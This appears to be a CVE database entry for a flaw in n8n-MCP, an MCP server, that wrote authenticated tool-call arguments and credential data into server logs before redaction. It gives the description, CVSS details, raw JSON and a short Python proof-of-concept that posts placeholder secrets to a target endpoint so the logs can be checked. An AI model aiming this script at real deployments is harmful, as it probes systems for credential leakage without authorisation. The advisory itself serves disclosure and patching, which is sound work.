Security Vulnerability Report
中文
CVE-2026-42282 CVSS 4.3 MEDIUM

CVE-2026-42282

Published: 2026-05-08 20:16:32
Last Modified: 2026-05-08 20:16:32

Description

n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to version 2.47.13, when n8n-mcp runs in HTTP transport mode, authenticated MCP tools/call requests had their full arguments and JSON-RPC params written to server logs by the request dispatcher and several sibling code paths before any redaction. When a tool call carries credential material — most notably n8n_manage_credentials.data — the raw values can be persisted in logs. In deployments where logs are collected, forwarded to external systems, or viewable outside the request trust boundary (shared log storage, SIEM pipelines, support/ops access), this can result in disclosure of: bearer tokens and OAuth credentials sent through n8n_manage_credentials, per-tenant API keys and webhook auth headers embedded in tool arguments, arbitrary secret-bearing payloads passed to any MCP tool. The issue requires authentication (AUTH_TOKEN accepted by the server), so unauthenticated callers cannot trigger it; the runtime exposure is also reduced by an existing console-silencing layer in HTTP mode, but that layer is fragile and the values are still constructed and passed into the logger. This issue has been patched in version 2.47.13.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

n8n-mcp < 2.47.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target n8n-mcp server endpoint url = "http://target-server:port/mcp" # Valid authentication token required auth_token = "VALID_SERVER_AUTH_TOKEN" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {auth_token}" } # Craft a malicious MCP tool call containing sensitive data payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "n8n_manage_credentials", "arguments": { "data": { "apiKey": "LEAKED_SECRET_API_KEY", "oauthToken": "LEAKED_OAUTH_TOKEN" } } }, "id": 1 } response = requests.post(url, headers=headers, data=json.dumps(payload)) print(f"Request sent. Status: {response.status_code}") print("Check server logs for 'LEAKED_SECRET_API_KEY' to confirm vulnerability.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42282", "sourceIdentifier": "[email protected]", "published": "2026-05-08T20:16:31.717", "lastModified": "2026-05-08T20:16:31.717", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to version 2.47.13, when n8n-mcp runs in HTTP transport mode, authenticated MCP tools/call requests had their full arguments and JSON-RPC params written to server logs by the request dispatcher and several sibling code paths before any redaction. When a tool call carries credential material — most notably n8n_manage_credentials.data — the raw values can be persisted in logs. In deployments where logs are collected, forwarded to external systems, or viewable outside the request trust boundary (shared log storage, SIEM pipelines, support/ops access), this can result in disclosure of: bearer tokens and OAuth credentials sent through n8n_manage_credentials, per-tenant API keys and webhook auth headers embedded in tool arguments, arbitrary secret-bearing payloads passed to any MCP tool. The issue requires authentication (AUTH_TOKEN accepted by the server), so unauthenticated callers cannot trigger it; the runtime exposure is also reduced by an existing console-silencing layer in HTTP mode, but that layer is fragile and the values are still constructed and passed into the logger. This issue has been patched in version 2.47.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-532"}]}], "references": [{"url": "https://github.com/czlonkowski/n8n-mcp/commit/59b665bda36797823df238aeaf20adb862c9f451", "source": "[email protected]"}, {"url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.47.13", "source": "[email protected]"}, {"url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-wg4g-395p-mqv3", "source": "[email protected]"}]}}